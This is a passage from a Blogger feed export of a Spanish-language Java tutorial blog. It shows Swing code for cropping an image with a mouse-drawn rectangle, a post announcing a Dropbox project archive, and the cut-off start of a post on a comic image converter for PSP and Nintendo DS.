&lt;/span&gt;}&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;}&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;}&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;});&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;JMenuItem recortar=new JMenuItem("Recortar");&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;recortar.addActionListener(new ActionListener() {&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;   &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;@Override&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;public void actionPerformed(ActionEvent arg0) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;pd.guardar_imagen("recorte de "+nombreArchivo);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;}&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;});&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;archivo.add(abrir);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;archivo.add(recortar);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;barra.add(archivo);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;setJMenuBar(barra);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;add(panelPrincipal);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;}&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt; &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;public void colocarSkin(){&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;try {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt; UIManager.setLookAndFeel("com.sun.java.swing.plaf.nimbus.NimbusLookAndFeel");&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;} catch (ClassNotFoundException e) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt; e.printStackTrace();&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;} catch (InstantiationException e) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt; e.printStackTrace();&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;} catch (IllegalAccessException e) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt; e.printStackTrace();&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;} catch (UnsupportedLookAndFeelException e) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt; e.printStackTrace();&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;}&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;}&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt; &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;public static void main(String arg[]){&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;Principal p=new Principal();&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;p.setVisible(true);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;p.setBounds(0, 0, 400, 470);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;p.setLocationRelativeTo(null);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;p.setDefaultCloseOperation(EXIT_ON_CLOSE);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;}&lt;/b&gt;&lt;br /&gt;&lt;b&gt;}&lt;/b&gt;&lt;br /&gt;&lt;div&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span style="font-size: large;"&gt;Clase PanelDibujo&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;b&gt;package clases;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;import java.awt.*;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;import java.awt.RenderingHints;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;import java.awt.event.MouseEvent;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;import java.awt.event.MouseListener;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;import java.awt.event.MouseMotionListener;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;import java.awt.geom.Rectangle2D;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;import java.awt.image.BufferedImage;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;import java.io.File;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;import java.io.IOException;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;import javax.imageio.ImageIO;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;import javax.swing.JOptionPane;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;import javax.swing.JPanel;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;public class PanelDibujo extends JPanel implements MouseMotionListener,MouseListener &amp;nbsp; {&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; Image img;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; BufferedImage Imagmemoria;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; BufferedImage imgrecortada;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; Graphics2D g2D;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; float x=0;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; float y=0;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; float ancho=0;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; float alto=0;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; public PanelDibujo(BufferedImage f){&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; this.img = f;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; this.setSize(f.getWidth(),f.getHeight());&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; this.setVisible(true);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; addMouseMotionListener(this);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; addMouseListener(this);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; }&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; @Override&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; protected void paintComponent(Graphics g) {&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; Graphics2D g2 = (Graphics2D)g;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; if(img!=null){&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Imagmemoria = new BufferedImage(this.getWidth(), this.getHeight(), BufferedImage.TYPE_INT_RGB);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; g2D = Imagmemoria.createGraphics();&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; g2D.setRenderingHint(RenderingHints.KEY_ANTIALIASING, RenderingHints.VALUE_ANTIALIAS_ON);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; g2D.drawImage(img,0, 0, img.getWidth(this), img.getHeight(this), this);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; g2D.setStroke(new BasicStroke(2f));&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; g2D.setColor(Color.WHITE);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Rectangle2D r2 = new Rectangle2D.Float( x, y, ancho, alto );&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; g2D.draw(r2);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; g2.drawImage(Imagmemoria, 0, 0, this);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; }&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; public void guardar_imagen(String nombrearchivo){&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;imgrecortada = ((BufferedImage) img).getSubimage((int)x,(int) y,(int) ancho,(int) alto) ;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; try { &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; ImageIO.write(imgrecortada, "jpg", new File(nombrearchivo));&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; JOptionPane.showMessageDialog(null, "Se ha guardado Correctamente la imagen recortada");&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; } catch (IOException e) {&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; JOptionPane.showMessageDialog(null, "Error, Trate nuevamente");&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp;}&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; public void mouseDragged(MouseEvent e) {&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; ancho = e.getX()-x;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; alto = e.getY()-y;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if(ancho&amp;lt;0) ancho=0;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if(alto&amp;lt;0) alto=0;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if(x &amp;gt; this.getWidth()) x = this.getWidth() - ancho ;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if(y &amp;gt; this.getHeight()) y = this.getHeight() - alto ; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; this.repaint();&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; }&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; public void mouseMoved(MouseEvent e) {&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; }&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; public void mouseClicked(MouseEvent e) {&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; }&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; public void mousePressed(MouseEvent e) {&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; x = e.getX();&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; y = e.getY();&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; }&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; public void mouseReleased(MouseEvent e) {&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; }&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; public void mouseEntered(MouseEvent e) {&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; }&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; public void mouseExited(MouseEvent e) {&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; }&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;}&lt;/b&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Lo que hacemos es cargar una imagen y dibujarla en el JPanel y ademas de esto dibujamos un&amp;nbsp;rectángulo&amp;nbsp;que se dibujara dependiendo de la&amp;nbsp;selección&amp;nbsp;del mouse, una vez que se haya definido el tamaño y&amp;nbsp;ubicación&amp;nbsp;del corte, se hace el corte, tomando de la imagen original la&amp;nbsp;fracción&amp;nbsp;de la imagen que nosotros seleccionamos y la guardamos en disco.&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span style="font-size: large;"&gt;Descarga&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;El proyecto completo lo pueden descargar desde&amp;nbsp;&lt;a href="http://dl.dropbox.com/u/61822104/Proyectos%20Java%20Zone/RecortarImagen.rar"&gt;aquí&lt;/a&gt;, se incluyen las fuentes,&amp;nbsp;imágenes&amp;nbsp;y el Jar ejecutable.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8615379153941197849-1679900603713765858?l=java-elrincondetucasa.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://java-elrincondetucasa.blogspot.com/feeds/1679900603713765858/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://java-elrincondetucasa.blogspot.com/2012/02/recortar-una-imagen.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8615379153941197849/posts/default/1679900603713765858'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8615379153941197849/posts/default/1679900603713765858'/><link rel='alternate' type='text/html' href='http://java-elrincondetucasa.blogspot.com/2012/02/recortar-una-imagen.html' title='Recortar una Imagen'/><author><name>Roger Villamarin Rodriguez</name><uri>https://profiles.google.com/103313089671927525095</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh4.googleusercontent.com/-AYJzdOg3Fvs/AAAAAAAAAAI/AAAAAAAAAAA/z-DhGJclKo4/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/-At6NMXnhGeQ/T0BiKZ5uKgI/AAAAAAAAAjw/ka6vFNzhhTM/s72-c/RecortarImagen+1+-+Java+Zone.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8615379153941197849.post-8772015592811146623</id><published>2012-01-19T19:22:00.005-05:00</published><updated>2012-02-18T18:32:29.222-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='megaupload'/><category scheme='http://www.blogger.com/atom/ns#' term='kickupload'/><category scheme='http://www.blogger.com/atom/ns#' term='caida megaupload'/><category scheme='http://www.blogger.com/atom/ns#' term='dropbox'/><title type='text'>Nuestro Banco de Proyectos</title><content type='html'>&lt;span style="font-size: large;"&gt;&lt;b&gt;Nuestro Banco de Proyectos&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Gracias a un comentario de un usuario del blog, que nos&amp;nbsp;recomendó&amp;nbsp;DropBox, pues he decido probarlo nuevamente, digo nuevamente por que ya lo&amp;nbsp;había&amp;nbsp;usado pero a manera personal, lo que haremos sera publicar todo los proyectos y los compartiremos con DropBox, no necesitan descargar nada ustedes, de ahora en adelante lo llamaremos Banco De Proyectos.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;b&gt;El Banco de Proyectos&amp;nbsp;estará&amp;nbsp;como nueva pestaña.&lt;/b&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Veremos como nos va publicando los proyectos de esta forma.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;b&gt;Roger&amp;nbsp;Villamarín&lt;/b&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;b&gt;Administrador de Java Zone.&lt;/b&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8615379153941197849-8772015592811146623?l=java-elrincondetucasa.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://java-elrincondetucasa.blogspot.com/feeds/8772015592811146623/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://java-elrincondetucasa.blogspot.com/2012/01/problemas-con-megaupload.html#comment-form' title='10 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8615379153941197849/posts/default/8772015592811146623'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8615379153941197849/posts/default/8772015592811146623'/><link rel='alternate' type='text/html' href='http://java-elrincondetucasa.blogspot.com/2012/01/problemas-con-megaupload.html' title='Nuestro Banco de Proyectos'/><author><name>Roger Villamarin Rodriguez</name><uri>https://profiles.google.com/103313089671927525095</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh4.googleusercontent.com/-AYJzdOg3Fvs/AAAAAAAAAAI/AAAAAAAAAAA/z-DhGJclKo4/s512-c/photo.jpg'/></author><thr:total>10</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8615379153941197849.post-6703621839916627047</id><published>2012-01-11T20:54:00.000-05:00</published><updated>2012-01-29T21:53:15.539-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='formato psp'/><category scheme='http://www.blogger.com/atom/ns#' term='manga'/><category scheme='http://www.blogger.com/atom/ns#' term='formato nintendo ds'/><category scheme='http://www.blogger.com/atom/ns#' term='Comic book'/><category scheme='http://www.blogger.com/atom/ns#' term='anime'/><title type='text'>Cómic Book, Version Final</title><content type='html'>&lt;span style="font-size: large;"&gt;&lt;b&gt;Cómic&lt;/b&gt;&lt;/span&gt;&lt;b&gt;&lt;span style="font-size: large;"&gt;&amp;nbsp;Book,&amp;nbsp;Versión&amp;nbsp;Final&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Bueno esta sera posiblemente la ultima&amp;nbsp;versión&amp;nbsp;de nuestro conversor de&amp;nbsp;imágenes&amp;nbsp;a formato de lectura para PSP y nintendo SD, si eres amante del manga o del anime, y posees alguno de estos&amp;nbsp;dispositivos&amp;nbsp;y deseas leer tus animes en ellos esta es tu&amp;nbsp;aplicación.&lt;/div&gt;&lt;br /&gt;&lt;b&gt;&lt;span style="font-size: large;"&gt;Imágenes&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-6FKJ7kIuHhc/Tw46XJ9vLPI/AAAAAAAAAjY/KPQ6aTkuZ_M/s1600/JComicBook++1-+Java+Zone.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="143" src="http://4.bp.blogspot.com/-6FKJ7kIuHhc/Tw46XJ9vLPI/AAAAAAAAAjY/KPQ6aTkuZ_M/s400/JComicBook++1-+Java+Zone.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-M8dVYmShZiY/Tw46X4GtpkI/AAAAAAAAAjg/eesXfjO-kI0/s1600/JComicBook++2-+Java+Zone.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="143" src="http://1.bp.blogspot.com/-M8dVYmShZiY/Tw46X4GtpkI/AAAAAAAAAjg/eesXfjO-kI0/s400/JComicBook++2-+Java+Zone.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;span style="font-size: large;"&gt;Código&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Clase Principal&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;package clases;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;import javax.swing.JButton;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;import javax.swing.table.DefaultTableCellRenderer;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;public class Principal extends javax.swing.JFrame {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;public JButton btnAccion;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;public javax.swing.table.DefaultTableModel modelo;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;public javax.swing.JTable tLista;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;private javax.swing.table.JTableHeader cLista;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;private HiloProceso proceso;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;private javax.swing.JScrollPane scroll;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;final javax.swing.JComboBox cBox = new javax.swing.JComboBox(new javax.swing.ImageIcon[]&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; { new 